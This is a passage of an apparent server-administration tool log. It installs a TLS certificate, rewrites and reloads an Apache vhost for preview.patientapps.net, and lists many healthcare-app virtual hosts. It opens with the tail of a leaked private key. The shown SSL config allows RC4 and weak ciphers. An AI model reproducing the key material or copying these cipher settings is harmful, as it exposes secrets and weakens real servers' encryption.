vkXabVETgpHmcccLIYD2GHrlAFnFZZZ/N8I+ImTCq/O5YGIG3auqn6PcKXq0ha53
XOWWsj+REL4XQvGDsEc8optsUzJ2KYNBBJaknjxHEAovXB3dK7F4DtRTBKjPNhRy
kPovoMv+dTwMT+doyfx/U5ViGwKBgQDZta5TdgedkVmR3TY4qHI5I8F3kEGmKoz/
PF6mxdWOFqRmeNN8T8ZbHlnFEJR3StsUzssHqGS6oEg7xmhS3p/SZsQLRSTxyirS
HYqb3ThClRC8SbIBXaljlpW5bmRGiLSeWOgtj0d6C/m0abR3Hy+aUuCN0x5Qle4V
dOROR5QbxwKBgQCFBA3sctZ4Lcj+8kEx5IV6HBRf6fVR9NA6cAIb/HCc/d77NZvb
YaytbfPtMk9QSEkJTWh8aLWMn0KBL1F5fKsJglxEYq+Ov2M2TXC6XkJqwL18bYt1
LBq3tKYVYOZqirrNHb+C965WMGfQQWiMhgvfa4FjOtucdvZ4rMf0ERE9NQKBgBoE
dEjVGiPicunTnd83gi8B7uTzAGVzQFZgSI91pQfN/OeiGOQKRJIvFltOl++JqpTa
AblwjlkfPoKmO2Fr6X2jelo+cSPUHTnu/dmSnl6WoeFejT9Miim0nUADyUgEnlEu
HtETBl+3fqfo2gBCYdX3gY5xZHYM9N7rkT0poLGRAoGAEQXQ4OP4WyNNl9ZiIqI5
BsYDmvK3EKKPaGe3p4BpEUsYAyiLp3p1HB+A7PHys3MpfyCgnjeg0dZLGOCSwWXa
BFkps1RZhZE7rq36hUYUEz9zZ6g43qmRkW6hD+lWhH71QElvdBKhF1MTIM8bSNSS
3jefeoGPfM/At+PmdP308DI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-30 06:03:19: 

chmod 755 /tmp/pkp653529; /tmp/pkp653529; rm /tmp/pkp653529

2025-08-30 06:03:19: 


dir=/etc/ssl/certs


2025-08-30 06:03:19: 

PUT: /tmp/pkp886188

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_preview_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-30 06:03:19: 

chmod 755 /tmp/pkp886188; /tmp/pkp886188; rm /tmp/pkp886188

2025-08-30 06:03:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf 47

<VirtualHost *:80>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    #    DocumentRoot	/var/www/patientapps_preview
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-08-30 06:03:19: 

PUT: /tmp/pkp802509

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_preview_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_preview_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    #    DocumentRoot	/var/www/patientapps_preview
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_preview_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_preview_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf= 1'
fi


2025-08-30 06:03:19: 

chmod 755 /tmp/pkp802509; /tmp/pkp802509; rm /tmp/pkp802509

2025-08-30 06:03:19: 




2025-08-30 06:03:19: 

PUT: /tmp/pkp857956

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-30 06:03:19: 

chmod 755 /tmp/pkp857956; /tmp/pkp857956; rm /tmp/pkp857956

2025-08-30 06:03:19: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:03:19: Establishing a connection
2025-08-30 06:03:19: 

PUT: /tmp/pkp246340

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-30 06:03:20: 

chmod 755 /tmp/pkp246340; /tmp/pkp246340; rm /tmp/pkp246340

2025-08-30 06:03:20: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
